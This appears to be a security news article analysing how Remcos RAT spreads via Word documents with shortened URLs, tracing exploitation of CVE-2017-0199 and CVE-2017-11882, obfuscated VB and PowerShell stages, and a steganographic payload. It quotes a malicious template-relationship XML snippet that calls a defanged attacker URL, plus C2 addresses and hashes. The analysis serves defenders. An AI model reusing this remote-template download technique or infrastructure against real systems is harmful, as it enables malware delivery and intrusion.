A new method of distributing the Remcos Remote Access Trojan (RAT) has been identified.

This malware, known for providing attackers complete control over infected systems, is being spread through malicious Word documents containing shortened URLs.

These URLs lead to the download of the Remcos RAT, which can be used for data theft, espionage, and other malicious activities.

Understanding the infection chain and recognizing the signs of such attacks is crucial for mitigating these threats.

Infection Chain Analysis

According to the Forcepoint blogs, the attack begins with an email containing a .docx attachment designed to deceive the recipient.

Upon examining this file, a shortened URL is found, indicating malicious intent. This URL redirects to download a variant of the Equation Editor malware in RTF format.

By exploiting the Equation Editor vulnerability (CVE-2017-11882), the malware attempts to download a VB script composed of a lengthy sequence of concatenated variables and strings, likely encoded or obfuscated.

These strings form an encoded payload, which may be decoded or executed later in the script.

The VB script deobfuscates to PowerShell code that tries to download a malicious binary via a steganographic image and reverse Base64 encoded strings.

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Although a command and control (C2) call is made, there’s also a TCP reconnect, suggesting that the C2 might be unavailable.

Passive DNS analysis identified the C2 domains, but they are currently inactive.

Detailed Breakdown of the Attack

The document (SHA1: f1d760423da2245150a931371af474dda519b6c9) contains two critical files: settings.xml.rels and document.xml.rels located at word/_rels/.

The settings.xml.rels file reveals a shortened URL responsible for downloading the next stage of the infection:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">

  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxp://ilang[.]in/QNkGv" TargetMode="External"/>

</Relationships>

Running the .docx file in a sandbox environment reveals it contains the CVE-2017-0199 vulnerability.

Upon exploiting this vulnerability, the document attempts to connect to a remote server to download a malicious file.

The attacker uses a URL shortener service to mask the malicious URL, making it difficult for the victim to recognize the risk and helping bypass security filters that might flag suspicious URLs.

Further investigation into the \word\embeddings folder reveals embedded PDF files within oleObject bin files.

The PDF file appears benign, showing a bank transaction between a company and a bank. However, the real threat lies in the RTF file (SHA1: 539deaf1e61fb54fb998c54ca5791d2d4b83b58c) downloaded via the shortened URL.

This file exploits the Equation Editor vulnerability to download a VB script (SHA1: 9740c008e7e7eef31644ebddf99452a014fc87b4).

Obfuscation and Payload Delivery

The VB script is a long string of concatenated variables and strings, potentially encoded or obfuscated data.

The important variable, “remercear,” is constructed by repeatedly concatenating various string literals, suggesting it holds encoded information or commands.

After deobfuscation, the PowerShell code attempts to download a malicious binary from two different URLs.

The first URL uses steganography to hide the malware within an image:Steganographic Image

The image contains a long Base64-encoded string, the first six bytes of which decode to ‘MZ’, indicating the presence of a Windows executable.

The second URL communicates with an IP address to retrieve a TXT file containing a reverse Base64 encoded string.

This adds a layer of obfuscation, evading simple detection mechanisms.

Using tools like Cyber Chef, the string is reversed, and Base64 is decoded to reveal the malicious payload (SHA1: 83505673169efb06ab3b99d525ce51b126bd2009).

Monitoring the processes reveals a connection to a potential C2 server (IP: 94[.]156[.]66[.]67:2409), which is currently down, resulting in a TCP reconnect.

The use of shortened URLs in Word documents to distribute the Remcos RAT highlights the evolving tactics of cybercriminals.

By understanding the infection chain and recognizing the signs of such attacks, individuals and organizations can better protect themselves against these threats.

Always be cautious of unsolicited emails with attachments, and avoid clicking on shortened URLs from unknown sources.

Indicator of Compromise

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